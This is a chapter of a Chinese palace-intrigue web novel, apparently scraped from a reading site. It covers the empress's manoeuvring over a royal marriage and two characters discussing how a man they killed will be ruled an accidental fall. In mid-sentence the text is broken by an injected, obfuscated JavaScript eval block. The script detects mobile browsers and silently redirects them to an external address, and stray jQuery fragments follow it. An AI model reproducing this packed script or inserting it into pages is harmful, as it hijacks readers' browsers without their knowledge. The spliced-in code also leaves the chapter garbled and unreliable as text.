默认冷灰
24号文字
方正启体

150. 贤后

作者:八斤六两本书字数:K更新时间:
    “这些折子当中想来都是紧要国事,妾一介后宫中人,自是要避开些许的。”皇后这话说得明帝心中很是受用,如他这等不许女子沾染半分权势者,最是喜欢依附他人的藤蔓女子。


    “还是贤后最得朕的心意。”明帝说罢这话,又连着用上了两块。皇后见此,连忙将一旁的茶盏递上。


    待到明帝搁下茶盏,皇后方道:“陛下,妾方才瞧着贵妃在外候了许久。陛下也知,贵妃心中满心都是陛下,虽素日里失了些许稳重,但终归是心系陛下的。”


    听得皇后提起何氏,明帝不免蹙起了眉头。


    皇后见他如此,继续道:“前些日子,妾听闻忠勇侯府谢璨中了状元,妾想着,三公主年岁也不小了,不若就依了何贵妃的意吧。”


    “她竟将这事扬得满宫皆知,叫贤后也来替她说嘴?”


    皇后听出明帝话中怪罪之意,忙笑着解释:“陛下,贵妃身为人母,自然是要替自己的儿女打算的。淑婉年岁不小,总不好再拖三年去等下一个状元不是?”


    “再者,六年前的那桩事终是过于不文,若是这次不依从,保不齐再来一出。六年前的是个寒门子弟,尚好解决,可如今的再怎么样,也是谢姓大族。”


    皇后三言两语便提及了先时萧淑婉所行的荒唐事,言语中还提及了贵妃身为人母要为子女筹谋一事,一番话叫明帝听了心中思量更甚。


    “贤后方才说,身为人母总是要替儿女打算,那贤后呢?贤后可有替垚儿打算好。”


    明帝这话中试探之意着实明了,皇后听罢当即轻笑了几声。“陛下可莫要提垚儿那臭小子。”


    “妾想着他年岁不小了,早该定下亲事,前些时日便寻了他过来相问一二,想问问他可有意中人。”


    “那臭小子说自己一心修道,并无婚娶之意。妾当时听得直想打他几个耳刮子。”


    “他许是瞧出妾生了怒意,后来便说自己瞧着书中的仙人们身旁都有个坐骑,便与妾说若当真婚娶,便要将他的汗血马聘为正妻。”


    “气得妾立时砸了盏子。陛下可莫要再提这个不争气的,妾是管不了他了。”皇后佯装气愤,随后又道:“不过幸好,还有陛下在呢。”


    “垚儿素来敬重陛下,若是陛下开口指婚,他必定听从。”


    皇后这般如寻常人户夫妻间的话语舒缓了明帝心中的疑窦,他亦笑着回道:“贤后宽心,朕必不会委屈了垚儿。再怎样,他都是朕的嫡长子,必定要有个家世相当的女子为正妻才是。”


    “陛下择的人选,自然是最好的。”


    想着吃腻了何贵妃的那起痴缠手段,如今对上皇后这番进退有度的,明帝心下对她的厌恶也减了几分。


    二人一道说了会子话,直到用罢了晚膳,皇后才离开明辉殿。


    帝后不和在宫中非是什么隐秘,今日明帝拒了何贵妃却独见了皇后一事,不消片刻已是满宫皆知。


    何贵妃听罢这等消息,气得她立时发作,摔了满宫摆件。


    正当她思索当如何去与皇后争时,却有内侍来传明帝口谕,口谕有言,不日便会降下圣旨,赐婚谢璨与萧淑婉。


    此等消息叫何贵妃愣了片刻,一时未能明白皇帝内里之意,只得呆呆谢恩。


    第二日,她便叫人将萧淑婉唤入宫内。


    听闻自己要与谢璨成婚,萧淑婉心下欢喜,恨不得立时就叫明帝将赐婚圣旨给她才好。


    “你莫要高兴太早。”何贵妃观得她心中欢喜,道:“陛下虽是说会给你与谢璨赐婚,可这明旨未下,还是需小心些才是。”


    “再者,那谢蘅与萧郴的婚期也尚未定下。”每每思及此事,何贵妃心下总是不安。“对了,你那六表兄可有去你府上递消息?”


    依着先时说定的,事成之后,何家六郎必定会去萧淑婉府上递个信,好叫她入宫带给何贵妃。


    “不曾。”提及自己那个六表兄,萧淑婉满面嫌弃。“母亲你提那个腌臜货作甚?”


    “无事,你且先回府吧。”


    前日夜里才发生的事,想来他也要避一避风头才是,何贵妃这般想着,又嘱咐了萧淑婉几句,便叫她了宫去。


    因是知晓自己将与谢璨成婚,萧淑婉心下十分欢喜,当即令府中伶人唱上一曲时下风头最盛的戏码来。


    伺候之人将一应瓜果摆好,台上伶人便开始唱着一支萧淑婉从未听过的戏。


    “这戏讲了什么?”


    一旁燕草听罢,便将内里故事大略讲与萧淑婉知。


    她言这出戏说得是一户富商家中出了姐弟相恋之事,弟媳知晓之后,借口将那不知廉耻的长姐送去做了个女冠。


    事发之后,那户人家的家主不但不曾责怪,还好生赞扬了这位儿媳。


    萧淑婉听罢,若有所思般点了点头,便继续瞧着台上悲欢起落。


    因是何家六郎几日不曾露面,何家人终是按图索骥前往别院附近搜索。不久,那何家六郎的尸首便叫人在山崖底抬出来。


    时逢大雨几日,何六郎的尸身早已腐烂发臭,即便是其生母前来都认不得他。


    何家人一路哭喊一路闹,嚷着要叫大理寺必得查个分明才是。


    大理寺中之人延途去寻附近的屋舍打听,自然,也会来到萧郴的别院。


    别院管家见是官差前来,言说叫他们稍候,这便去请了萧郴。


    未几,萧郴便坐着如意舆前来。


    此行大理寺的差役虽是未有见过萧郴真容,但也是听闻过宣王府那位身残身子之名的,当即便上前行礼说明来意。


    “我这别院除却前几日帝后与宫中贵妃一道来过,再无旁人了。”


    听得帝后一并前来,这行人便也不再多问,当即告退离开。


    待得他们离开,亦浅便瞧见了立于廊下的秋蘅。


    “世子,是谢三姑娘。”


    萧郴摆了摆手,亦浅当即退下去。萧郴自如意舆上起身,双手朝前,行了不过几步便停下来左右摸索。


    秋蘅见了,忙上前挽着他的手臂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15510082|155420||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,想要将他往如意舆那处引。


    “陪我走走吧。”


    萧郴既是开口,秋蘅也不会言拒。


    二人一道行至曲桥之上,萧郴坐至桥栏,扯着秋蘅道:“我知你在担忧什么,你且放宽心些便是,这桩事,何家只能得到一个结论。”


    “何六郎失足落崖而亡。”


    “可我那夜始终是用簪子将他刺伤,也拿了物件砸了他,这些伤痕定是在的。大理寺中当差的都是积年老手,定是能瞧得出来的。”


    秋蘅双手略微发凉,萧郴不免用自己的双手去包裹那柔荑。


    “何六郎常年眠花宿柳,身上会有些女子饰物留下的伤痕并不出奇。若他用了强,女子反抗时将他砸伤也是有的。”


    “可他不是伤了,是……”话至此处,秋蘅终是止了话茬,不愿再说一字。


    萧郴知她心意,道:“他本就是将死该死之人,且他欲对蘅娘不轨,蘅娘亦非有心,实不必再挂在心上。”


    “我亦知他非是个好货,可明白这些道理又如何,我这手上终也是沾了血的。”


    闻言萧郴忽然扬了抹笑,“先前春日宴里,蘅娘还说不会辱没了将门风姿。现如今,蘅娘可并无将门虎女之风采。”


    “我知蘅娘心善,可你再想想,有多少好人户的姑娘折在他手里,他之性命了结在蘅娘手中,蘅娘也是成了一桩善因。”


    “我可并非良善之辈。”秋蘅并未承萧郴话中的好,“那些该死之人,我绝不分半些怜悯去可怜他们。那些作恶之人,为了自己私||欲将旁人性命视作草芥,我又何必去叹息她们的结局。”


    秋蘅话音方落,便觉自己话多有失。


    所谓做贼心虚,她虽对设计逆王之妹一事并无愧疚之心,但她却也不想在此时叫外人得知了此事去。


    她偷偷打量着萧郴,生怕叫他觉出错处来。


    萧郴似是并未将深究内里,只是忽然叹息几许,道:“若我母亲也能如蘅娘这般想,兴许她还能活在这世间,而我,还会再多一个弟、妹。”


    “即便叫王妃再来一次,我想,她还是会择相同的路。”秋蘅听出他话语间的落寞之感,便将自己的另一只手也覆在他的手上。“世子方才说得对,世人皆有自己的因果。”


    “王妃昔年所择的那条路,想来是她所能挑选的路里最好的一条。就一如,我的生母。”秋蘅略略停顿,道:“她本是官家姑娘,虽非高门大户,但也是较寻常人户好出许多去。”


    “可怎料一朝事发,她便成了教坊贱籍女子。犯官家眷若要脱籍,可并不简单。”


    “她难不成不知若跟我父亲离开便是只能做妾?她知道,可她若不走,便要一生老死在教坊。”


    “我的母亲在无数险途之中择了一条稍稍平坦些的。我想,王妃也是在无数死路之中,择了一条尚余几分体面的。落子无悔,王妃想来并不会后悔自己的选择。”


    “莫要强求他人的因果,你所认为的替人着想,未必就是旁人想要的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)